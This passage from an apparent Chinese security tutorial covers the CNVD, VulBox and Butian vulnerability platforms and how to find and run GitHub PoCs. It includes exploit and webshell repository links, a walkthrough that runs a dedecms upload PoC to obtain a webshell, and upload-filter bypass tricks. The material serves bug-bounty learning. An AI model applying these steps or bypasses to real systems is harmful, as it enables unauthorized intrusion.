  • 风险点编号:CNVD-2021-30102

  • 厂商/组件:泛微 e-office、泛微OA、用友等

示例结果内容:

  • 风险点名称

  • 风险点等级(高危/中危)

  • 影响范围

  • 修复建议

  • 公开时间

  • 风险点描述

2)查找可复现风险点(含 POC)

部分 CNVD 风险点信息会附带分析文章和 POC 链接,你可以根据标题关键词去 GitHub 搜索该风险点 POC。

例如:

  • CNVD-2021-30102 泛微OA 任意文件上传

  • GitHub 搜索:泛微 CNVD-2021-30102 POC

3)提交风险点

  1. 注册账号:https://www.cnvd.org.cn/member/login.htm

  2. 登录后台提交风险点信息

  3. 等待审核和编号分配

  4. 审核通过后会获得风险点积分

4)配合工具自动检测 CNVD 风险点

可以结合以下平台或工具,实现批量检测

  • fofa + cnvd 组合(资产搜索 + 风险点检测)

  • nuclei 的 CNVD POC 模板(.yaml 格式)

  • 洞鉴/鹰图/Pocsuite3 等集成平台检测 CNVD 风险点

8.3 常见场景应用

场景说明
Web 渗透前的信息收集搜索目标使用的 CMS 是否有 CNVD 风险点
SRC 白帽子投稿发现站点存在 CNVD 厂商风险点,可投稿
复现写博客根据 CNVD 风险点编号构建复现环境、编写 POC
POC 自动化平台用 CNVD 标记风险点并写 yaml 模板
风险点报告写作引用 CNVD 编号提升报告专业性

8.4 配合平台/工具

平台用法
CNVD 官网查询风险点、提交风险点
Seebug查询 CNVD + POC
GitHub搜索 POC(搜索“CNVD-xxxx”)
FOFA、ZoomEye搜集可能受影响目标
Pocsuite3编写 CNVD PoC 模块
Nuclei编写 yaml 模板进行批量检测

8.5 小结

关键词内容
平台性质官方风险点共享平台(国家级)
涵盖范围国内外软硬件系统,偏重国产系统
编号格式CNVD-年-编号
核心价值研究国内风险点、参与风险点提交
实战用法复现、PoC 编写、检测、提交奖励

九、风险点盒子

  • 名称:风险点盒子(VulBox)

  • 网址:https://www.vulbox.com

  • 运营方:知道创宇(国内安全公司)

  • 性质:白帽子风险点众测平台 + 企业安全合作平台

风险点盒子是什么?

风险点盒子是一个连接:

  • 白帽子(你) 

  • 企业(厂商) 

  • 平台(知道创宇) 

三者之间的风险点收集、披露、奖励机制平台。

可以:

功能描述
提交风险点对目标站点提交安全风险点(XSS、SQL注入、逻辑风险点等)
获取积分审核通过后获得安全积分
获得奖励某些风险点可能得到现金或实物奖励
企业定向众测平台分配目标给白帽子做深度测试
排名与认证累积积分可进入榜单,增加影响力

9.1 注册与使用流程

注册流程

  • 访问官网:https://www.vulbox.com

  • 使用手机号或邮箱注册账号

  • 完善个人信息和认证(建议上传真实能力信息,便于定向众测邀请)

提交风险点流程

  • 登录后台 ➜ 点击“提交风险点”

  • 填写目标站点、风险点描述、风险点类型、危害等级、复现步骤等

  • 可上传截图、复现视频、PoC 链接等

  • 提交后等待审核,审核成功会收到积分/奖励

风险点​​​​​​​类型支持

类型说明
XSS 跨站脚本常见于搜索、评论等页面
SQL 注入登录页、参数注入
任意文件读取可读取 config、passwd 等文件
命令执行 RCE高危风险点,可控制服务器
逻辑风险点例如越权、任意密码重置
信息泄露例如 Git 泄露、接口暴露
SSRF / CSRF / XXE较高级别风险点

9.2 风险点盒子优势

面向厂商 SRC

风险点盒子对接了很多大型平台,如:

  • 联通、移动、华为

  • 招商银行、支付宝

  • 各类政企系统

  • 中小厂商(企业众测)

平台负责将风险点分发、审核、通报给厂商,并推动修复和奖励发放。

支持公开 & 私密提交

  • 公开提交:风险点审核通过后可展示在风险点广场

  • 私密提交:只提交给厂商和平台,外部不可见

  • 可匿名提交:避免打草惊蛇

众测任务邀请制

技术好、有提交记录后,会被平台邀请:

  • 参与高价值站点的定向测试

  • 按任务提交风险点,按风险点奖励现金/积分

9.3 白帽子常用技巧

如何发现风险点?

  • 目标:厂商登录页、搜索、注册、上传等功能点

  • 工具:BurpSuite、dirsearch、sqlmap、F12+调试

  • 常用风险点类型:XSS、逻辑风险点、路径遍历、任意文件下载

如何提交让平台快速通过?

  • 写明:

    • 风险点入口地址

    • 触发条件

    • 复现步骤

    • 危害描述

    • 建议修复措施

  • 附加截图、视频、PoC URL(更具可信度)

9.4 实战建议

适合做的实战项目:

  • 在 GitHub 搜索 CMS 框架(如:dedecms、discuz)搭建测试环境

  • 本地挖掘 XSS、SQL 注入、后台绕过风险点

  • 写成 PoC(参考之前讲的 PoC 编写方法)

  • 到风险点盒子找类似站点或厂商进行验证

  • 提交风险点,积累积分与实战经验

9.5 小结

维度内容
性质国内白帽众测平台,由知道创宇运营
使用目的提交风险点、积累经验、获取奖励
优势厂商多、众测活动频繁、奖励机制完善
提交技巧精准复现、图文并茂、突出危害
实战建议从低危 XSS、路径遍历、逻辑绕过开始练手

十、补天

项目说明
平台名称补天风险点响应平台
官网地址https://www.butian.net
创建时间2013 年左右
运营方360 公司(奇虎360)
性质国内权威风险点提交/响应/众测平台
用户群体白帽子、安全研究员、安全厂商、政企单位

补天平台是什么?

补天平台是一个白帽子与厂商之间的“中间桥梁”,由奇虎360维护,用于接收白帽子提交的风险点并转发给相关厂商,促进风险点修复,并给予积分或奖励。

10.1 补天平台主要功能

模块功能说明
风险点提交提交 XSS、SQL注入、RCE、未授权访问等风险点
厂商合作对接了大量厂商(如政府网站、银行、互联网公司)
赏金计划部分厂商设置风险点赏金(¥现金奖励)
众测任务官方分配测试目标,按结果计分或计钱
积分体系提交风险点获得“白帽积分”
排名体系有周榜、月榜、年榜,优秀者可获得认证

10.2 支持的风险点类型

类型描述
XSS 跨站脚本输入框未过滤,执行恶意脚本
SQL 注入数据库查询接口存在注入风险
任意文件上传可上传木马控制服务器
任意文件读取读取配置、数据库密码等敏感信息
命令执行 RCE远程执行系统命令
SSRF / XXE / CSRF服务端请求伪造、XML注入等
信息泄露源码泄露、后台泄露、弱口令

10.3 挖洞 + 提交流程

  • 使用 FOFA/ZoomEye 找目标(可选定厂商)

  • 识别 CMS/系统(如 dedecms、phpcms、thinkphp)

  • 使用 BurpSuite、手工 + 工具挖洞

  • 编写复现文档(截图 + 步骤 + POC)

  • 登录补天平台提交

  • 审核通过 ➜ 积分奖励

10.4 练习路径

  • 本地搭建风险点环境(如 ThinkPHP、dedecms)

  • 复现已知风险点(CVE/CNVD)

  • 编写风险点分析 + POC

  • FOFA/ZoomEye 扫描使用目标厂商

  • 在补天提交真实可复现的低危风险点(如 XSS)

  • 慢慢积累积分,提升排名

10.5 小结

内容说明
平台定位国内老牌风险点响应平台
目标用户白帽子、SRC从业者、安全爱好者
提交类型XSS、SQL注入、RCE、逻辑风险点等
奖励方式积分、现金、证书、荣誉
推荐方式搭配风险点盒子、GitHub POC 实战使用

十一、github-poc 资源复现

  • POC(Proof of Concept):风险点的概念验证代码,用来复现风险点。

  • GitHub 上聚集了世界各地安全研究员、红队、白帽子上传的 风险点 POCEXP(利用代码) 和复现环境。

  • 有大量关于 WordPress、ThinkPHP、dedecms、phpcms、Struts2、Weblogic、Spring 等的 POC。

11.1 GitHub 上 POC 搜索方法

关键词搜索技巧(举例):

ThinkPHP CVE poc
dedecms file upload poc
WordPress RCE github
"phpcms" in:description
CVE-2023 in:title

推荐结合使用的关键词:

风险点组件常见关键词
ThinkPHPthinkphp poc, thinkphp rce
WordPresswordpress plugin vuln
dedecmsdedecms upload, dedecms XSS
phpcmsphpcms poc
Discuzdiscuz xss, discuz csrf
CVECVE-2021-XXXX poc

推荐仓库(通用集合类):

  • https://github.com/nomi-sec/PoC-in-GitHub

    • 自动收集 GitHub 所有 CVE 利用代码

  • https://github.com/vulhub/vulhub

    • 中文的最强风险点复现环境集合(含环境+POC)

  • https://github.com/projectdiscovery/nuclei-templates

    • Nuclei 的 POC 模板库(适合批量测试)

  • https://github.com/zhzyker/exphub

    • 含企业级系统(Weblogic、Confluence 等)的 EXP

  • https://github.com/w181496/Webshell

    • 提供配套风险点上传后的 Webshell(辅助测试)

11.2 POC 复现完整流程

以 GitHub 搜到的一个 dedecms 任意文件上传风险点 POC 为例:

步骤 1:搭建环境

使用 vulhubdocker或自己搭建风险点 CMS 环境。

# 如果是 Vulhub 支持的风险点
git clone https://github.com/vulhub/vulhub
cd dedecms/xxx
docker-compose up -d

或自己去官网下 dedecms v5.7,配合 phpstudy 或宝塔本地部署。

步骤 2:获取 POC

在 GitHub 搜索:

dedecms upload poc

找到一个 POC 仓库,如:

https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1

下载或者复制其中的 POC 脚本,例如 poc.py

步骤 3:阅读 POC 原理

通常 POC 包含:

模块内容
请求地址哪个接口存在风险点(如 /uploads/a.php
请求方式POST/GET/文件上传
参数格式参数名、文件字段名(如 file, upload[]
响应判断如何判断风险点是否成功(如返回 200 且链接可访问)

需要掌握 HTTP 抓包知识,能用 BurpSuite 重现请求。

步骤 4:运行 POC

python3 poc.py http://127.0.0.1/dedecms/
  • 查看控制台是否提示上传成功

  • 查看返回的 Webshell 链接

  • 使用浏览器/curl 打开,确认是否 RCE 成功

步骤 5:分析风险点原理(进阶)

掌握风险点利用条件:

  • 文件类型限制绕过?

  • 后缀双写?(如 .php;.jpg

  • 文件内容绕过?(加 GIF 头?)

  • 后台未鉴权上传接口?

  • 文件是否可被访问?

11.3 从 GitHub 挖掘优质 POC 的技巧

方法技巧
看 Star 数超过 100 星,一般质量不错
看更新时间越新越说明适配当前系统
看 issue 区有没有人复现成功
看 Readme有没有环境搭建说明和截图
搜索 CVE + PoC如:CVE-2023-37960 poc
搜 Fofa/Zoomeye 结果验证查是否有目标存在此风险点

11.4 辅助工具推荐

工具作用
BurpSuite抓包、重放 POC 请求
Docker快速搭建测试环境
FOFA搜索真实风险点目标
Nmap + Nuclei指纹识别 + 批量扫描 POC
Python/requests编写自己的 poc 脚本

11.5 示例复现案例

系统风险点名称GitHub 地址
ThinkPHP 5RCE风险点https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
dedecms 5.7任意文件上传https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1
WordPress插件文件上传风险点https://github.com/1N3/Wordpress-Exploit-Framework
phpcms后台 getshellhttps://github.com/Angus-x/phpcmsv9

11.6 小结

graph TD
A[GitHub 搜索风险点 PoC] --> B[分析风险点原理]
B --> C[搭建环境 Vulhub/Docker]
C --> D[运行 POC 脚本]
D --> E[复现成功]
E --> F[总结报告/投稿平台]
http://www.xdnf.cn/news/667675.html

相关文章:

  • 利用 `ngx_http_xslt_module` 实现 NGINX 的 XML → HTML 转换
  • 深度学习常用概念详解:从生活理解到技术原理
  • 新电脑配置五 jdk8,maven,idea,vscode
  • 单片机(MCU)的 IO 口静电、浪涌、电压异常等保护
  • OpenEuler-DNS多域服务器搭建
  • 基于 Node.js 的 Express 服务是什么?
  • div或button一些好看实用的 CSS 样式示例
  • Linux 下 C 语言实现工厂模式
  • 卓力达蚀刻工艺:精密制造的跨行业赋能者
  • day 33 python打卡
  • 【LeetCode 热题 100】打家劫舍 / 零钱兑换 / 单词拆分 / 乘积最大子数组 / 最长有效括号
  • DAY38打卡
  • Python打卡第38天
  • 零基础远程连接课题组Linux服务器,安装anaconda,配置python环境(换源),在服务器上运行python代码【2/3 适合小白,步骤详细!!!】
  • K8S Pod调度方法实例
  • 详解K8s API Server 如何处理请求的?
  • MySQL connection close 后, mysql server上的行为是什么
  • 【Elasticsearch】调用_flush api会调用_refresh 吗?
  • 火山引擎声音复刻
  • 安全生产例题
  • 知识图谱:AI时代语义认知的底层重构逻辑
  • 游戏引擎学习第314天:将精灵拆分成多个层
  • U 盘数据恢复全攻略
  • 说说 Kotlin 中的 Any 与 Java 中的 Object 有何异同?
  • Go 应用中的 Redis 连接与操作
  • NLua性能对比:C#注册函数 vs 纯Lua实现
  • Nginx--手写脚本压缩和切分日志(也适用于docker)
  • 【Linux】进程状态优先级
  • 【QT】在QT6中读取文件的方法
  • 私服 nexus 之间迁移 npm 仓库